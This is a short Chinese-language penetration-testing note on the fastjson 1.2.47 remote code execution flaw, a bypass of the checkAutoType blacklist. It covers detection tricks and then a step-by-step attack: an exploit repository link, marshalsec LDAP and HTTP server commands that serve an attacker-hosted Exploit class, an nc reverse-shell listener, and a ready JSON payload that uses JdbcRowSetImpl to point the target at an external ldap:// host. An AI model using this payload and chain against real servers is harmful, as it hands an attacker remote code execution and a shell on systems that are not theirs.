更新:2020_01_28
介紹:fastjson是一個Java語言編寫的高性能功能完善的JSON庫。
漏洞原因: checkAutoType
黑名單中可繞過
檢測方法:
第一種:
json數據{"age":"25","name":"2"}
,回顯正常
{"age":"25","name":"2""}
,多了一個雙引號,回顯報錯
例如:多一個}
也一樣會報錯
第二種:
fastjson 與 jackson區別,如果請求包中的 json 如下:
{"name":"S", "age":21}
追加一個隨機 key ,修改 json 為
{"name":"S", "age":21,"zpchcbd":123}
這里 fastjson 是不會報錯的, 但是Jackson 因為強制 key 與 javabean 屬性對齊,只能少不能多key,所以會報錯,服務器的響應包中多少會有異常回顯。
利用過程:
漏洞利用文件:https://github.com/CaijiOrz/fastjson-1.2.47-RCE
攻擊機器的java版本如下:
1、開始相應的服務:
ldap服務java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://攻擊機器的ip/#Exploit
http服務python -m http.server 8888
2、在攻擊機上把Exploit.java
編譯好的Exploit.class
字節碼放在http服務的目錄中
3、利用payload如下:
4、開啟nc監聽反彈:nc -lvvp 8888
,反彈shell成功
注意點:
第一點:如下jdk版本不存在漏洞
原因:java.rmi.server.useCodebaseOnly 的默認值就是true。當該值為true時,將禁用自動加載遠程類文件,僅從CLASSPATH和當前VM的java.rmi.server.codebase 指定路徑加載類文件。使用這個屬性來防止客戶端VM從其他Codebase地址上動態加載類,增加了RMI ClassLoader的安全性。
第二點:Exploit.java
漏洞利用文件最好用低版本的java環境編譯,因為java是向下兼容的,防止目標環境加載的時候運行報錯,最好是jdk1.6
第三點:如果是json字符串中name字段存在反序列化的情況
{"id":"1","name":"wangwei"}
那么poc就是
{
"id":"1",
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"},
"x":{"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":
"ldap://fatjaon.tuq75v.ceye.io",
"autoCommit":true
}
}